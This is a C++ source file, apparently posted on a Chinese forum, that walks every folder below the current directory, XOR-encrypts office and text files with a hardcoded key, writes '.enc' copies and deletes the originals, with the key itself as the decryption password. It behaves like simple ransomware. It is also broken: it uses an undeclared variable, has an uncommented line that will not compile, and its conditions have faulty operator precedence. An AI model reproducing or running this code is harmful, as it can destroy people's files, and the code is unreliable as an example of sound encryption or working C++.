[C++] 纯文本查看 复制代码
#include <iostream>
#include <fstream>
#include<cstdlib>
#include<string>
#include<io.h>
#include<stdio.h>
#include<vector>
using namespace std;
char key[] = "2Jdh2ercih48&qiecBerxlr,xwiefhmjn%wHJTqrxlwHJVSun@19510";
bool IsEncry = false;//是否需要加密
bool AreTheFilenamesEqual(const char *s, char *den)
{
return strrchr(s, '.')&&(strcmp(strrchr(s, '.'), den)==0);
}//比较两个文件名的后缀是否相等
int EncryptSimpleFile(string path)//加密单文件
{
cout << path <<endl;
string path1, path2;
if(encry)
{
path1 = path;
path2 = path+"enc";
}
else
{
path1 = path;
path2 = path1.substr(0, path1.length()-3);
}
cout << path1 << "------>" << path2 << endl;
FILE *f = fopen(path1.c_str(), "rb");
FILE *fw = fopen(path2.c_str(), "wb");
const int buffer_size = 1024;
int read_size = 0;
char buffer[1024+1] = {0};
int i;
memset(buffer, 0, buffer_size+1);
while (read_size = fread(buffer, sizeof (char), buffer_size, f)) {
for(i = 0; i<read_size; i++){
buffer[i] ^= key[i%strlen(key)];
}//分片读取文件,所以不会爆缓冲区
fwrite(buffer, sizeof (char), read_size, fw);//写入文件
}
fclose(f);
fclose(fw);
remove(path1.c_str());
return 0;
}
void encry_deencry(vector<string> &file)//解密模块
{
if(!encry)
{
cout<<"please input password:"<<endl;
char tempkey[105] = {0};
cin>>tempkey;
if(strcmp(tempkey, key) != 0)
return;
else{
cout << "Right!" << endl;
}
}
for(vector<string>::iterator filei=file.begin(); filei != file.end(); ++filei)
{
string filej = *filei;
//其实这两个的处理逻辑是一样的,我也不知道当初为什么要这么写
if(IsEncry && (AreTheFilenamesEqual(filej.c_str(), ".txt"))||(AreTheFilenamesEqual(filej.c_str(), ".docx"))||(AreTheFilenamesEqual(filej.c_str(), ".doc"))||(AreTheFilenamesEqual(filej.c_str(), ".ppt"))||(AreTheFilenamesEqual(filej.c_str(), ".pptx"))||(AreTheFilenamesEqual(filej.c_str(), ".xls"))||(AreTheFilenamesEqual(filej.c_str(), ".xlsx"))||(AreTheFilenamesEqual(filej.c_str(), ".cmd")))//如果未加密
EncryptSimpleFile(filej);
if((!IsEncry) && (AreTheFilenamesEqual(filej.c_str(), ".txtenc"))||(AreTheFilenamesEqual(filej.c_str(), ".docxenc"))||(AreTheFilenamesEqual(filej.c_str(), ".docenc"))||(AreTheFilenamesEqual(filej.c_str(), ".pptenc"))||(AreTheFilenamesEqual(filej.c_str(), ".pptxenc"))||(AreTheFilenamesEqual(filej.c_str(), ".xlsenc"))||(AreTheFilenamesEqual(filej.c_str(), ".xlsxenc"))||(AreTheFilenamesEqual(filej.c_str(), ".cmdenc")))如果已被加密
EncryptSimpleFile(filej);
}
}
void PushAllFile(string path, vector<string> &file_set)//对所有文件的处理
{
long hFile = 0;
struct _finddata_t fileInfo;
string pathName;
if((hFile = _findfirst(pathName.assign(path).append("\\*").c_str(), &fileInfo)) == -1) return;
do{
if( strcmp(fileInfo.name,"..") && strcmp(fileInfo.name,".") && fileInfo.attrib==_A_SUBDIR )
PushAllFile(path+"\\"+fileInfo.name, file_set);
if (AreTheFilenamesEqual(fileInfo.name, ".txt") || AreTheFilenamesEqual(fileInfo.name, ".docx") || AreTheFilenamesEqual(fileInfo.name, ".doc") || AreTheFilenamesEqual(fileInfo.name, ".ppt") || AreTheFilenamesEqual(fileInfo.name, ".pptx") || AreTheFilenamesEqual(fileInfo.name, ".xls") || AreTheFilenamesEqual(fileInfo.name, ".xlsx") || AreTheFilenamesEqual(fileInfo.name, ".cmd"))
{
IsEncry = true;//需要加密
file_set.push_back(path+"\\"+fileInfo.name);
}
else if(AreTheFilenamesEqual(fileInfo.name, ".txtenc") || AreTheFilenamesEqual(fileInfo.name, ".docxenc") || AreTheFilenamesEqual(fileInfo.name, ".docenc") || AreTheFilenamesEqual(fileInfo.name, ".pptenc") || AreTheFilenamesEqual(fileInfo.name, ".pptxenc") || AreTheFilenamesEqual(fileInfo.name, ".xlsenc") || AreTheFilenamesEqual(fileInfo.name, ".xlsxenc") || AreTheFilenamesEqual(fileInfo.name, ".cmdenc"))
{
file_set.push_back(path+"\\"+fileInfo.name);
}
}while(_findnext(hFile, &fileInfo)==0);
_findclose(hFile);
return;
}
int main()
{
vector<string> file_set;
PushAllFile(".", file_set);
encry_deencry(file_set);
return 0;
}